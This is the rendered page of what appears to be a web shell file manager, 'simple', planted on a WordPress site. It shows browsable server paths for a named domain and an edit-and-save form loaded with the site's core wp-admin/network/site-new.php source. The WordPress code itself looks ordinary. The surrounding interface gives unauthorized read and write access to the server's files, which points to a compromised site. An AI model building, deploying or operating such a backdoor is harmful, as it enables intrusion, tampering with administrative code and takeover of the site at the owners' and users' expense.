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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.scheybal.com%2F'>www.scheybal.com</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.scheybal.com%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.scheybal.com%2Fhtdocs%2Fwp-admin%2F'>wp-admin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.scheybal.com%2Fhtdocs%2Fwp-admin%2Fnetwork%2F'>network</a>/</p><hr><h3>✏️ Editing: site-new.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Add Site Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . &#039;/admin.php&#039;;

/** WordPress Translation Installation API */
require_once ABSPATH . &#039;wp-admin/includes/translation-install.php&#039;;

if ( ! current_user_can( &#039;create_sites&#039; ) ) {
	wp_die( __( &#039;Sorry, you are not allowed to add sites to this network.&#039; ) );
}

get_current_screen()-&gt;add_help_tab(
	array(
		&#039;id&#039;      =&gt; &#039;overview&#039;,
		&#039;title&#039;   =&gt; __( &#039;Overview&#039; ),
		&#039;content&#039; =&gt;
			&#039;&lt;p&gt;&#039; . __( &#039;This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.&#039; ) . &#039;&lt;/p&gt;&#039; .
			&#039;&lt;p&gt;&#039; . __( &#039;If the admin email for the new site does not exist in the database, a new user will also be created.&#039; ) . &#039;&lt;/p&gt;&#039;,
	)
);

get_current_screen()-&gt;set_help_sidebar(
	&#039;&lt;p&gt;&lt;strong&gt;&#039; . __( &#039;For more information:&#039; ) . &#039;&lt;/strong&gt;&lt;/p&gt;&#039; .
	&#039;&lt;p&gt;&#039; . __( &#039;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-sites-screen&quot;&gt;Documentation on Site Management&lt;/a&gt;&#039; ) . &#039;&lt;/p&gt;&#039; .
	&#039;&lt;p&gt;&#039; . __( &#039;&lt;a href=&quot;https://wordpress.org/support/forum/multisite/&quot;&gt;Support forums&lt;/a&gt;&#039; ) . &#039;&lt;/p&gt;&#039;
);

if ( isset( $_REQUEST[&#039;action&#039;] ) &amp;&amp; &#039;add-site&#039; === $_REQUEST[&#039;action&#039;] ) {
	check_admin_referer( &#039;add-blog&#039;, &#039;_wpnonce_add-blog&#039; );

	if ( ! is_array( $_POST[&#039;blog&#039;] ) ) {
		wp_die( __( &#039;Cannot create an empty site.&#039; ) );
	}

	$blog   = $_POST[&#039;blog&#039;];
	$domain = &#039;&#039;;

	$blog[&#039;domain&#039;] = trim( $blog[&#039;domain&#039;] );
	if ( preg_match( &#039;|^([a-zA-Z0-9-])+$|&#039;, $blog[&#039;domain&#039;] ) ) {
		$domain = strtolower( $blog[&#039;domain&#039;] );
	}

	// If not a subdomain installation, make sure the domain isn&#039;t a reserved word.
	if ( ! is_subdomain_install() ) {
		$subdirectory_reserved_names = get_subdirectory_reserved_names();

		if ( in_array( $domain, $subdirectory_reserved_names, true ) ) {
			wp_die(
				sprintf(
					/* translators: %s: Reserved names list. */
					__( &#039;The following words are reserved for use by WordPress functions and cannot be used as site names: %s&#039; ),
					&#039;&lt;code&gt;&#039; . implode( &#039;&lt;/code&gt;, &lt;code&gt;&#039;, $subdirectory_reserved_names ) . &#039;&lt;/code&gt;&#039;
				)
			);
		}
	}

	$title = $blog[&#039;title&#039;];

	$meta = array(
		&#039;public&#039; =&gt; 1,
	);

	// Handle translation installation for the new site.
	if ( isset( $_POST[&#039;WPLANG&#039;] ) ) {
		if ( &#039;&#039; === $_POST[&#039;WPLANG&#039;] ) {
			$meta[&#039;WPLANG&#039;] = &#039;&#039;; // en_US
		} elseif ( in_array( $_POST[&#039;WPLANG&#039;], get_available_languages(), true ) ) {
			$meta[&#039;WPLANG&#039;] = $_POST[&#039;WPLANG&#039;];
		} elseif ( current_user_can( &#039;install_languages&#039; ) &amp;&amp; wp_can_install_language_pack() ) {
			$language = wp_download_language_pack( wp_unslash( $_POST[&#039;WPLANG&#039;] ) );
			if ( $language ) {
				$meta[&#039;WPLANG&#039;] = $language;
			}
		}
	}

	if ( empty( $title ) ) {
		wp_die( __( &#039;Missing site title.&#039; ) );
	}

	if ( empty( $domain ) ) {
		wp_die( __( &#039;Missing or invalid site address.&#039; ) );
	}

	if ( isset( $blog[&#039;email&#039;] ) &amp;&amp; &#039;&#039; === trim( $blog[&#039;email&#039;] ) ) {
		wp_die( __( &#039;Missing email address.&#039; ) );
	}

	$email = sanitize_email( $blog[&#039;email&#039;] );
	if ( ! is_email( $email ) ) {
		wp_die( __( &#039;Invalid email address.&#039; ) );
	}

	if ( is_subdomain_install() ) {
		$newdomain = $domain . &#039;.&#039; . preg_replace( &#039;|^www\.|&#039;, &#039;&#039;, get_network()-&gt;domain );
		$path      = get_network()-&gt;path;
	} else {
		$newdomain = get_network()-&gt;domain;
		$path      = get_network()-&gt;path . $domain . &#039;/&#039;;
	}

	$password = &#039;N/A&#039;;
	$user_id  = email_exists( $email );
	if ( ! $user_id ) { // Create a new user with a random password.
		/**
		 * Fires immediately before a new user is created via the network site-new.php page.
		 *
		 * @since 4.5.0
		 *
		 * @param string $email Email of the non-existent user.
		 */
		do_action( &#039;pre_network_site_new_created_user&#039;, $email );

		$user_id = username_exists( $domain );
		if ( $user_id ) {
			wp_die( __( &#039;The domain or path entered conflicts with an existing username.&#039; ) );
		}
		$password = wp_generate_password( 12, false );
		$user_id  = wpmu_create_user( $domain, $password, $email );
		if ( false === $user_id ) {
			wp_die( __( &#039;There was an error creating the user.&#039; ) );
		}

		/**
		 * Fires after a new user has been created via the network site-new.php page.
		 *
		 * @since 4.4.0
		 *
		 * @param int $user_id ID of the newly created user.
		 */
		do_action( &#039;network_site_new_created_user&#039;, $user_id );
	}

	$wpdb-&gt;hide_errors();
	$id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() );
	$wpdb-&gt;show_errors();

	if ( ! is_wp_error( $id ) ) {
		if ( ! is_super_admin( $user_id ) &amp;&amp; ! get_user_option( &#039;primary_blog&#039;, $user_id ) ) {
			update_user_option( $user_id, &#039;primary_blog&#039;, $id, true );
		}

		wpmu_new_site_admin_notification( $id, $user_id );
		wpmu_welcome_notification( $id, $user_id, $password, $title, array( &#039;public&#039; =&gt; 1 ) );
		wp_redirect(
			add_query_arg(
				array(
					&#039;update&#039; =&gt; &#039;added&#039;,
					&#039;id&#039;     =&gt; $id,
				),
				&#039;site-new.php&#039;
			)
		);
		exit;
	} else {
		wp_die( $id-&gt;get_error_message() );
	}
}

if ( isset( $_GET[&#039;update&#039;] ) ) {
	$messages = array();
	if ( &#039;added&#039; === $_GET[&#039;update&#039;] ) {
		$messages[] = sprintf(
			/* translators: 1: Dashboard URL, 2: Network admin edit URL. */
			__( &#039;Site added. &lt;a href=&quot;%1$s&quot;&gt;Visit Dashboard&lt;/a&gt; or &lt;a href=&quot;%2$s&quot;&gt;Edit Site&lt;/a&gt;&#039; ),
			esc_url( get_admin_url( absint( $_GET[&#039;id&#039;] ) ) ),
			network_admin_url( &#039;site-info.php?id=&#039; . absint( $_GET[&#039;id&#039;] ) )
		);
	}
}

// Used in the HTML title tag.
$title       = __( &#039;Add Site&#039; );
$parent_file = &#039;sites.php&#039;;

wp_enqueue_script( &#039;user-suggest&#039; );

require_once ABSPATH . &#039;wp-admin/admin-header.php&#039;;

?&gt;

&lt;div class=&quot;wrap&quot;&gt;
&lt;h1 id=&quot;add-new-site&quot;&gt;&lt;?php _e( &#039;Add Site&#039; ); ?&gt;&lt;/h1&gt;
&lt;?php
if ( ! empty( $messages ) ) {
	$notice_args = array(
		&#039;type&#039;        =&gt; &#039;success&#039;,
		&#039;dismissible&#039; =&gt; true,
		&#039;id&#039;          =&gt; &#039;message&#039;,
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?&gt;
&lt;p&gt;&lt;?php echo wp_required_field_message(); ?&gt;&lt;/p&gt;
&lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; action=&quot;&lt;?php echo esc_url( network_admin_url( &#039;site-new.php?action=add-site&#039; ) ); ?&gt;&quot; novalidate=&quot;novalidate&quot;&gt;
&lt;?php wp_nonce_field( &#039;add-blog&#039;, &#039;_wpnonce_add-blog&#039; ); ?&gt;
	&lt;table class=&quot;form-table&quot; role=&quot;presentation&quot;&gt;
		&lt;tr class=&quot;form-field form-required&quot;&gt;
			&lt;th scope=&quot;row&quot;&gt;
				&lt;label for=&quot;site-address&quot;&gt;
					&lt;?php
					_e( &#039;Site Address (URL)&#039; );
					echo &#039; &#039; . wp_required_field_indicator();
					?&gt;
				&lt;/label&gt;
			&lt;/th&gt;
			&lt;td&gt;
				&lt;span class=&quot;code&quot;&gt;
					&lt;?php if ( is_subdomain_install() ) : ?&gt;
						&lt;input name=&quot;blog[domain]&quot; type=&quot;text&quot; class=&quot;regular-text code&quot; id=&quot;site-address&quot; aria-describedby=&quot;site-address-desc&quot; autocapitalize=&quot;none&quot; autocorrect=&quot;off&quot; required /&gt;&lt;!--
						--&gt;&lt;code class=&quot;no-break&quot;&gt;&lt;?php echo esc_html( &#039;.&#039; . preg_replace( &#039;|^www\.|&#039;, &#039;&#039;, get_network()-&gt;domain ) ); ?&gt;&lt;/code&gt;
					&lt;?php else : ?&gt;
						&lt;code class=&quot;no-break&quot;&gt;&lt;?php echo esc_html( get_network()-&gt;domain . get_network()-&gt;path ); ?&gt;&lt;/code&gt;&lt;!--
						--&gt;&lt;input name=&quot;blog[domain]&quot; type=&quot;text&quot; class=&quot;regular-text code&quot; id=&quot;site-address&quot; aria-describedby=&quot;site-address-desc&quot; autocapitalize=&quot;none&quot; autocorrect=&quot;off&quot; required /&gt;
					&lt;?php endif; ?&gt;
				&lt;/span&gt;
				&lt;p class=&quot;description&quot; id=&quot;site-address-desc&quot;&gt;
					&lt;?php _e( &#039;Only lowercase letters (a-z), numbers, and hyphens are allowed.&#039; ); ?&gt;
				&lt;/p&gt;
			&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr class=&quot;form-field form-required&quot;&gt;
			&lt;th scope=&quot;row&quot;&gt;
				&lt;label for=&quot;site-title&quot;&gt;
					&lt;?php
					_e( &#039;Site Title&#039; );
					echo &#039; &#039; . wp_required_field_indicator();
					?&gt;
				&lt;/label&gt;
			&lt;/th&gt;
			&lt;td&gt;&lt;input name=&quot;blog[title]&quot; type=&quot;text&quot; class=&quot;regular-text&quot; id=&quot;site-title&quot; required /&gt;&lt;/td&gt;
		&lt;/tr&gt;
		&lt;?php
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! empty( $languages ) || ! empty( $translations ) ) :
			?&gt;
			&lt;tr class=&quot;form-field form-required&quot;&gt;
				&lt;th scope=&quot;row&quot;&gt;&lt;label for=&quot;site-language&quot;&gt;&lt;?php _e( &#039;Site Language&#039; ); ?&gt;&lt;span class=&quot;dashicons dashicons-translation&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/label&gt;&lt;/th&gt;
				&lt;td&gt;
					&lt;?php
					// Network default.
					$lang = get_site_option( &#039;WPLANG&#039; );

					// Use English if the default isn&#039;t available.
					if ( ! in_array( $lang, $languages, true ) ) {
						$lang = &#039;&#039;;
					}

					wp_dropdown_languages(
						array(
							&#039;name&#039;                        =&gt; &#039;WPLANG&#039;,
							&#039;id&#039;                          =&gt; &#039;site-language&#039;,
							&#039;selected&#039;                    =&gt; $lang,
							&#039;languages&#039;                   =&gt; $languages,
							&#039;translations&#039;                =&gt; $translations,
							&#039;show_available_translations&#039; =&gt; current_user_can( &#039;install_languages&#039; ) &amp;&amp; wp_can_install_language_pack(),
						)
					);
					?&gt;
				&lt;/td&gt;
			&lt;/tr&gt;
		&lt;?php endif; // Languages. ?&gt;
		&lt;tr class=&quot;form-field form-required&quot;&gt;
			&lt;th scope=&quot;row&quot;&gt;
				&lt;label for=&quot;admin-email&quot;&gt;
					&lt;?php
					_e( &#039;Admin Email&#039; );
					echo &#039; &#039; . wp_required_field_indicator();
					?&gt;
				&lt;/label&gt;
			&lt;/th&gt;
			&lt;td&gt;&lt;input name=&quot;blog[email]&quot; type=&quot;email&quot; class=&quot;regular-text wp-suggest-user&quot; id=&quot;admin-email&quot; data-autocomplete-type=&quot;search&quot; data-autocomplete-field=&quot;user_email&quot; aria-describedby=&quot;site-admin-email&quot; required /&gt;&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr class=&quot;form-field&quot;&gt;
			&lt;td colspan=&quot;2&quot; class=&quot;td-full&quot;&gt;&lt;p id=&quot;site-admin-email&quot;&gt;&lt;?php _e( &#039;A new user will be created if the above email address is not in the database.&#039; ); ?&gt;&lt;br /&gt;&lt;?php _e( &#039;The username and a link to set the password will be mailed to this email address.&#039; ); ?&gt;&lt;/p&gt;&lt;/td&gt;
		&lt;/tr&gt;
	&lt;/table&gt;

	&lt;?php
	/**
	 * Fires at the end of the new site form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( &#039;network_site_new_form&#039; );

	submit_button( __( &#039;Add Site&#039; ), &#039;primary&#039;, &#039;add-site&#039; );
	?&gt;
	&lt;/form&gt;
&lt;/div&gt;
&lt;?php
require_once ABSPATH . &#039;wp-admin/admin-footer.php&#039;;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.scheybal.com%2Fhtdocs%2Fwp-admin%2Fnetwork'>🔙 Back</a></p>